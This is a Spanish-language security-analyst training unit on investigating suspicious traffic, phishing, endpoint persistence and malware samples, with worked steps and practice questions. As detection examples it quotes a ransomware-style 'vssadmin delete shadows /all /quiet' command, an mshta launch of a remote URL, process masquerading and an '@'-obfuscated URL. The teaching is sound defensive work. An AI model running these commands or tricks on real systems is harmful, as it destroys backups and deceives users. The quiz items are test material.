Añade una fecha de caducidad o revisión a los indicadores de dominios e IP porque su propiedad y uso cambian. Evita bloqueos indiscriminados de infraestructura compartida como las CDN. Los hashes exactos identifican una versión de un archivo, mientras que las detecciones basadas en comportamiento pueden detectar variantes. Conserva la relación entre un indicador, su comportamiento observado y su nivel de confianza al compartirlo.
Preserva las evidencias y escala la respuesta
Escala la respuesta ante un hallazgo malicioso confirmado según el procedimiento de respuesta a incidentes, con una gravedad basada en los activos afectados y el impacto. Preserva los mensajes originales, las capturas, las exportaciones de dispositivos finales y las muestras recopiladas. Registra el SHA-256 de cada archivo y quién lo recopiló o transfirió y cuándo. Estos registros de custodia documentan el manejo de las evidencias; el hash permite comprobar su integridad.
El aislamiento mediante EDR suele ser preferible a apagar el equipo porque restringe la comunicación mientras conserva la memoria y una vía de gestión. Terminar procesos y reiniciar también cambia las evidencias volátiles. Sigue las prioridades de contención del procedimiento, recopila lo que necesite el caso y registra el momento de cada acción de respuesta para que los analistas posteriores puedan distinguir la actividad del atacante de la respuesta.
Puntos clave
- Distingue las detecciones maliciosas, los comportamientos autorizados detectados y los errores de detección.
- Expresa la confianza con evidencias y la gravedad con el impacto.
- Incluye las consultas y referencias a evidencias necesarias para reproducir el dictamen.
- Aporta contexto y fechas de revisión a los indicadores compartidos.
- Preserva originales, hashes y registros de custodia al escalar la respuesta.
Ejemplos de Análisis de actividad maliciosa
1Sigue una estación de trabajo desde la captura hasta el dictamen sobre el tráfico
17 pasos
- 1IntroducciónEncuentra qué causó el tráfico
Una estación de trabajo ha comenzado a contactar con un servidor nuevo y una alerta de red menciona un posible intérprete de comandos inverso. Elegirás un punto de captura útil, interpretarás el intercambio, comprobarás su volumen a largo plazo y verificarás qué detectó la alerta. Las capturas de paquetes muestran el contenido, mientras que los registros de flujo solo conservan quién habló, cuándo y cuánto, pero abarcan un periodo más largo.
Mantén separadas dos preguntas durante toda la investigación: qué observó el sensor y qué permite concluir esa observación sobre la estación de trabajo.
- 2ExplicaciónColoca el sensor en el trayecto
Una captura en el límite con internet puede ver la conexión externa de la estación de trabajo, pero no el tráfico que permanece dentro de un conmutador. Una captura fuera de NAT también necesita registros de traducción para recuperar el origen interno.
Elige una captura en el equipo o una fuente TAP/SPAN correctamente situada según la pregunta. La capacidad importa: combinar ambos sentidos de un enlace con mucho tráfico puede superar la capacidad de un puerto de supervisión y perder paquetes.
- 3EjemploGuarda el tráfico del equipo
Para este caso, captura la estación de trabajo en
192.168.1.50medianteeth0:sudo tcpdump -i eth0 -nn -s 0 -w case42.pcap host 192.168.1.50 and not port 22Las opciones seleccionan la interfaz, evitan las búsquedas de nombres, conservan los paquetes completos y guardan los datos sin procesar. El filtro de equipo conserva ambos sentidos; excluir el puerto 22 elimina la sesión remota del analista cuando usa ese puerto.
- 4DesafíoRecupera un protocolo excluido
Supón que una captura utilizó
host 192.168.1.50 and tcp port 443. ¿Puede un filtro de visualización posterior revelar los paquetes UDP 443 de ese equipo?---reveal---
No. El filtro de captura excluyó UDP antes de guardar, por lo que un filtro de visualización no tiene nada que revelar. UDP 443 puede incluir QUIC. Comprueba otra fuente o captura con un filtro más amplio y adecuado; preserva la primera captura con su intervalo de tiempo y sus estadísticas de paquetes descartados.
- 5EjemploIdentifica al cliente
El intercambio guardado comienza con
192.168.1.50:51544 → 203.0.113.80:443 SYN. El servidor devuelve SYN-ACK al puerto 51544 y después el cliente envía ACK.La estación de trabajo inició la conexión. El puerto alto identifica este extremo del lado del cliente; la respuesta invierte el par. Un número de puerto sugiere el servicio esperado, pero el intercambio de establecimiento por sí solo no dice nada sobre la aplicación transportada.
- 6EjemploInterpreta el contenido devuelto
Utiliza Follow TCP Stream en la descarga en texto claro. La solicitud indica
/update.php?id=WS-0423yHost: cdn-update.example.net. La respuesta tiene éxito y su cuerpo comienza conMZ.La respuesta parece entregar un ejecutable, aunque la ruta termine en
.php. Exporta el objeto para comprobar su tipo, hash y firma. La ruta de la URL es el destino de una solicitud, no una garantía sobre el formato del archivo devuelto. - 7ExplicaciónConoce qué detalles de TLS son visibles
Si un intercambio posterior utiliza TLS, los datos están cifrados salvo que se disponga de secretos de sesión adecuados o de un punto de inspección. Los tiempos y tamaños en bytes siguen siendo útiles. Un Client Hello visible puede proporcionar la SNI y una huella.
ECH puede ocultar el nombre solicitado. TLS 1.3 también cifra el certificado del servidor, a diferencia de TLS 1.2. Registra lo que esta captura expone realmente antes de decidir qué evidencia de nombre o certificado falta.
- 8DesafíoComprueba una asociación con un dominio
DNS devolvió
198.51.100.7para un dominio sospechoso y el equipo se conectó a esa IP. ¿Qué reforzaría la asociación con el dominio?---reveal---
Una cabecera Host de HTTP, la SNI de TLS visible, un registro de proxy o un evento del dispositivo final que nombre ese dominio la reforzaría. Otros dominios pueden compartir la IP. La secuencia es una pista útil, pero atribuir todas las conexiones a esa dirección a un solo dominio omite una comprobación necesaria de identidad.
- 9AnalogíaUtiliza el resumen detallado del tráfico
Un registro de flujo de red se parece a una factura telefónica detallada: conserva los participantes, los tiempos y el volumen, pero no las palabras de la conversación. Es útil para buscar en un periodo más largo del que normalmente conserva una captura completa.
Encuentra primero el equipo sospechoso y el intervalo en el historial de flujos. Después recupera los paquetes del intercambio concreto si existen, manteniendo la distinción entre mediciones de tráfico y evidencias de contenido.
- 10EjemploReconstruye la conexión medida
Una conexión puede tener registros de flujo separados de ida y vuelta, además de fragmentos por tiempo límite. Empareja las direcciones y los puertos en orden inverso, conserva el protocolo y une los fragmentos que pertenecen a ese intercambio.
Suma los bytes salientes y entrantes por separado. Mide el tiempo desde el inicio más temprano hasta el fin más tardío. Sumar duraciones de sentidos que se solapan puede hacer que una conexión de 40 minutos parezca durar 80 minutos.
- 11EjemploCalcula el volumen y la tasa
El equipo envía 2,4 GB y recibe 12 MB entre las 02:10 y las 02:50 UTC. Convierte el volumen enviado a 2400 MB: la proporción entre tráfico saliente y entrante es de 200:1.
El intervalo es de 2400 segundos, por lo que la media saliente es de 1 MB/s, u 8 Mbit/s. Estas son mediciones. La siguiente evaluación las compara con la función del equipo, el tráfico de copias de seguridad esperado, el historial del destino y el proceso responsable.
- 12DesafíoInterpreta un campo de bytes vacío
Zeek registra el estado TCP
S0, un paquete de origen y cero bytes de datos. ¿Debe descartarse el intento por no haber tráfico?---reveal---
No. El registro describe un intento observado sin respuesta. Un SYN no transporta datos de aplicación, por lo que cero bytes de datos concuerdan con la evidencia del paquete. Los exportadores de flujos que incluyen cabeceras IP pueden registrar un valor de bytes distinto de cero para el mismo intento; compara el significado de los campos antes de comparar los totales.
- 13EjemploMide el intervalo repetido
Las conexiones ocurren a las 10:00:00, 10:05:02, 10:09:59, 10:15:01 y 10:20:00. Los intervalos son de 302, 297, 302 y 299 segundos, con una media de 300 segundos.
Las transferencias pequeñas y similares a ese ritmo sugieren un temporizador de software. Comprueba el proceso y el destino antes de llamarlo C2; el software de actualización aprobado también se comunica periódicamente. Una variación mayor podría ser una variación añadida al temporizador, por lo que no se requiere una regularidad perfecta.
- 14ExplicaciónLee la condición real del IDS
Una regla genera una alerta por tráfico TCP desde
$HOME_NEThasta el puerto 4444 de$EXTERNAL_NETconflow:to_server,established. Su mensaje dice «Posible intérprete de comandos inverso».La conexión establecida y la dirección son condiciones que comprueba la regla. Los comandos del intérprete no están entre esas condiciones. Lee
sidy la revisión para identificar la regla y después inspecciona los paquetes y el proceso del dispositivo final para determinar qué significaba el tráfico coincidente. - 15DesafíoComprueba la autorización del escaneo
Un equipo sondea muchos puertos de un servidor y produce principalmente
REJyS0. ¿Qué debe comprobarse antes de clasificar esto como un escaneo de un atacante?---reveal---
Comprueba el inventario de escáneres aprobados y el calendario de pruebas. El patrón es un escaneo vertical, pero un escaneo de vulnerabilidades autorizado también puede producirlo. La coincidencia de una dirección de origen solo es útil cuando su asignación actual y el momento de la prueba también concuerdan con la autorización.
- 16DesafíoRelaciona las pistas de red
El nuevo destino tiene contactos periódicos, una gran carga nocturna y una alerta basada en el puerto. ¿Qué evidencias deberían determinar si pertenecen a una misma cadena de actividad maliciosa?
---reveal---
Utiliza instancias de procesos del dispositivo final para atribuir las conexiones y después inspecciona el contexto del protocolo y del destino. Compara la carga con la actividad aprobada. Una IP compartida y el mensaje de una regla dejan abierta la posibilidad de tráfico no relacionado o infraestructura compartida, por lo que por sí solos no pueden establecer que haya C2 y robo.
- 17RepasoTraslada las evidencias
Ahora tienes una captura con un punto de observación conocido, un intercambio reconstruido, mediciones de tráfico por sentido y una interpretación comprobada de la alerta. La transferencia debe conservar los paquetes relevantes, las marcas de tiempo originales, los hashes y las referencias de consulta.
Si el tráfico sigue siendo sospechoso, el siguiente paso más útil es explorar el proceso del dispositivo final que lo produjo: ese proceso puede relacionar el patrón de red con la ejecución, los archivos y la persistencia.
2Investiga un mensaje de proveedor notificado
13 pasos
Guarda esta unidad para seguir cada Lección Interactiva paso a paso.
- 1IntroducciónComienza con el mensaje original
- 2ExplicaciónDistingue los campos del remitente
- 3ConsejoEncuentra el límite de confianza
- 4EjemploCompara los dominios que superan las comprobaciones
- 5DesafíoUtiliza una firma alineada que sigue siendo válida
- 6EjemploInspecciona la acción de negocio
- 7ExplicaciónIdentifica el equipo de destino real de un enlace
- 8DesafíoElige una verificación independiente
- 9EjemploDecodifica una URL personalizada
- 10ExplicaciónBusca la entrega y la interacción por separado
- 11DesafíoDetermina el alcance más allá de quien notificó
- 12DesafíoDecide qué evidencia cambia el caso
- 13RepasoTransfiere el alcance y el impacto
3Rastrea la ejecución y encuentra sus vías de retorno
16 pasos
Guarda esta unidad para seguir cada Lección Interactiva paso a paso.
- 1IntroducciónSigue el historial del equipo
- 2ExplicaciónConfirma la telemetría
- 3DesafíoMantén separadas las instancias de procesos
- 4EjemploInterpreta la ascendencia
- 5ExplicaciónDecodifica el texto del comando
- 6DesafíoEvalúa una herramienta firmada
- 7EjemploInterpreta el desencadenante de inicio de sesión
- 8EjemploInspecciona la acción programada
- 9ExplicaciónBusca más allá de dos ubicaciones
- 10DesafíoGestiona dos vías de persistencia
- 11EjemploInterpreta la fecha de aspecto antiguo del archivo
- 12ExplicaciónEncuentra cambios en las defensas
- 13DesafíoRelaciona un archivo comprimido con una carga
- 14ConexiónUtiliza el inventario como contexto
- 15DesafíoElige una contención que preserve las evidencias
- 16RepasoDescribe la cadena del equipo
4Convierte un archivo sospechoso en hallazgos comprobables
14 pasos
Guarda esta unidad para seguir cada Lección Interactiva paso a paso.
- 1IntroducciónPlantea una pregunta distinta a cada método
- 2EjemploRegistra el identificador del contenido exacto
- 3ExplicaciónExamina el informe más allá de su proporción
- 4DesafíoInterpreta un archivo firmado desconocido
- 5EjemploComprueba el formato real del archivo
- 6EjemploExtrae ambas formas de texto
- 7ExplicaciónCombina las pistas de empaquetado
- 8DesafíoLee una regla YARA con condiciones conjuntas
- 9ExplicaciónAdapta el entorno de ejecución
- 10EjemploExtrae el comportamiento y los artefactos
- 11DesafíoExplica una ejecución inactiva
- 12DesafíoDistingue el comportamiento de la entrega
- 13ConexiónBusca con pistas duraderas
- 14RepasoMantén separadas la capacidad y la observación
5Elabora y transfiere un hallazgo de incidente justificable
11 pasos
Guarda esta unidad para seguir cada Lección Interactiva paso a paso.
- 1IntroducciónHaz que las evidencias se puedan comprobar
- 2EjemploConvierte la hora de la consola
- 3ExplicaciónVerifica a quién estaba asignada la dirección
- 4EjemploConstruye la secuencia observada
- 5DesafíoComprueba una conclusión basada en una IP compartida
- 6Idea claveDeja que ATT&CK describa lo observado
- 7ExplicaciónDistingue la detección de la autorización
- 8DesafíoClasifica un despliegue aprobado
- 9EjemploRedacta el dictamen y la transferencia
- 10DesafíoMantén proporcionada la afirmación final
- 11RepasoDeja un caso que otros puedan continuar
Ejercicios de Análisis de actividad maliciosa
Set 1: Interpreta el tráfico y comprueba la alerta10 Preguntas de Práctica
Pregunta 1 de 10
Mostrar respuestaOcultar respuesta
Pregunta 2 de 10
Mostrar respuestaOcultar respuesta
Pregunta 3 de 10
10.8.0.14:53720 → 203.0.113.62:8443 SYN. ¿Qué extremo inició la conexión?Mostrar respuestaOcultar respuesta
Pregunta 4 de 10
/status.asp recibe una respuesta que comienza con 4D 5A. ¿Qué debe deducir y comprobar el analista a continuación?Mostrar respuestaOcultar respuesta
Pregunta 5 de 10
Mostrar respuestaOcultar respuesta
Pregunta 6 de 10
Mostrar respuestaOcultar respuesta
Pregunta 7 de 10
Mostrar respuestaOcultar respuesta
Pregunta 8 de 10
Mostrar respuestaOcultar respuesta
Pregunta 9 de 10
Mostrar respuestaOcultar respuesta
Pregunta 10 de 10
Mostrar respuestaOcultar respuesta
Set 2: Rastrea la identidad del correo y el alcance de la campaña10 Preguntas de Práctica
Guarda esta unidad para ver todas las respuestas y practicar cada set.
Pregunta 1 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 2 de 10
accounts@example.org, SPF pass para bounce.mailer.example.net y DKIM pass para example.org. ¿Cuál es el resultado de DMARC con alineación estricta?Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 3 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 4 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 5 de 10
https://portal.example.org@203.0.113.88/session. ¿Cuál es su equipo de destino?Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 6 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 7 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 8 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 9 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 10 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Set 3: Sigue la ejecución y la persistencia en dispositivos finales10 Preguntas de Práctica
Guarda esta unidad para ver todas las respuestas y practicar cada set.
Pregunta 1 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 2 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 3 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 4 de 10
WINWORD.EXE inicia mshta.exe con una firma válida y una URL remota. ¿Qué hace sospechosa la invocación pese a la firma válida?Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 5 de 10
[kworker/3:2]. Se ejecuta como usuario normal, desciende de un intérprete de comandos y /proc/<pid>/exe apunta a un archivo eliminado en /dev/shm. ¿Cómo deben interpretarse estas pistas?Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 6 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 7 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 8 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 9 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 10 de 10
vssadmin delete shadows /all /quiet. ¿Por qué requiere esto escalar la respuesta con urgencia?Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Set 4: Compara la reputación, las pistas estáticas y el comportamiento en un entorno aislado10 Preguntas de Práctica
Guarda esta unidad para ver todas las respuestas y practicar cada set.
Pregunta 1 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 2 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 3 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 4 de 10
4D 5A. ¿Cuál es la siguiente comprobación útil del tipo de archivo?Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 5 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 6 de 10
999.12.4.8 como texto con aspecto de IPv4. ¿Qué debe hacer el analista con ese resultado?Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 7 de 10
MZ en el desplazamiento cero como una coincidencia con al menos una de las cadenas A y B. La muestra X tiene MZ en cero y B en una codificación ancha admitida. La muestra Y tiene MZ solo en el desplazamiento 20 y ambas cadenas A y B. ¿Qué muestra coincide y por qué?Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 8 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 9 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 10 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Set 5: Concilia las evidencias y transfiere el caso10 Preguntas de Práctica
Guarda esta unidad para ver todas las respuestas y practicar cada set.
Pregunta 1 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 2 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 3 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 4 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 5 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 6 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 7 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 8 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 9 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
Pregunta 10 de 10
Mostrar respuestaOcultar respuesta
Guarda esta unidad para ver esta respuesta.
¿Te atascas con una pregunta tuya? Ayuda con Tareas
Términos Clave
A
Algoritmo de generación de dominios (DGA)
Alineación de dominios
Análisis estático
Archivo de claves autorizadas de SSH (authorized_keys)
Autenticación, informes y conformidad de mensajes basados en dominios (DMARC)
Á
Árbol de procesos
B
Binario legítimo del sistema utilizado con fines maliciosos (LOLBin)
Búfer circular
C
Cabecera Authentication-Results
Cabecera From
Cabecera Host de HTTP
Cabecera Received
Cadena de custodia
Camuflaje de procesos o archivos (masquerading)
Captura de paquetes
Clave Run del Registro de Windows
Client Hello cifrado (ECH)
Codificación porcentual de URL
Comunicación periódica de mando y control (beaconing)
Correlación
Correo identificado mediante claves de dominio (DKIM)
D
Desfase del reloj
Detección y respuesta en dispositivos finales (EDR)
Detección y respuesta extendidas (XDR)
Determinación del alcance de la campaña
Dispositivo de copia pasiva de tráfico de red (TAP)
Dispositivo no autorizado
DNS pasivo
E
Ejecución controlada de una muestra (detonación)
Ejecución sin archivos
Empaquetador de ejecutables (packer)
EncodedCommand
Entorno aislado de análisis (sandbox)
Entropía
Escaneo horizontal
Escaneo vertical
Establecimiento de conexión TCP en tres pasos
Estado de la conexión
Estado operativo del sensor
Estándar de exportación de información de flujos IP (IPFIX)
Evasión de entornos aislados de análisis
Expresión regular
F
Falso negativo
Falso positivo
Filtro de captura
Filtro de visualización
Fraude por suplantación del correo empresarial (BEC)
G
Geolocalización de direcciones IP (GeoIP)
Gestión de dispositivos móviles (MDM)
H
Hash de importaciones (imphash)
Hash de similitud (fuzzy hash)
Homoglifo
Huella TLS
I
Identificador de conexión de Zeek (uid)
Identificador de mensaje (Message-ID)
Identificador globalmente único de proceso (GUID)
Indicación del nombre del servidor (SNI)
Indicador de compromiso (IOC)
Intérprete de comandos web malicioso (web shell)
L
LaunchAgent y LaunchDaemon
Línea base del tráfico
M
Manipulación de marcas de tiempo de archivos (timestomping)
Marca de la Web (Mark of the Web)
Marco de políticas del remitente (SPF)
MITRE ATT&CK
Muestreo
N
Neutralización de indicadores para su presentación (defanging)
Nivel de confianza
Número mágico
O
Objeto de exclusión mutua (mutex)
P
Persistencia
Pirámide del dolor
Preparación de datos para su transferencia
Prevalencia
Protocolo de acceso a datos de registro (RDAP)
Puerto de duplicación de tráfico (SPAN)
Q
Quíntupla de 5 elementos
R
Reensamblado de flujos TCP
Registro de dominios con errores tipográficos (typosquatting)
Registro de flujo de red
Regla del sistema de detección de intrusiones (IDS)
Remitente del sobre SMTP
Reputación
Respuesta de dominio inexistente (NXDOMAIN)
S
Secuestro de hilos de conversación
Sesgo de confirmación
SHA-256
Sistema de nombres de dominio (DNS)
Software de secuestro de datos o sistemas (ransomware)
Suplantación de identidad dirigida (spear phishing)
Suplantación de identidad mediante mensajes fraudulentos (phishing)
Suscripción a eventos de WMI
T
Tabla de importaciones PE
Tarea de cron
Tarea programada
Tiempo universal coordinado (UTC)
Traducción de direcciones de red (NAT)
Tunelización DNS
U
Unidad de systemd
V
Variación de los intervalos de comunicación (jitter)
Verdadero positivo
Verdadero positivo benigno
Y
YARA
Sobre esta unidad
Crea tus propios Materiales de Estudio
Convierte tus notas, diapositivas y documentos en Guías de Estudio, Preguntas de Práctica, Flashcards y 6 herramientas más.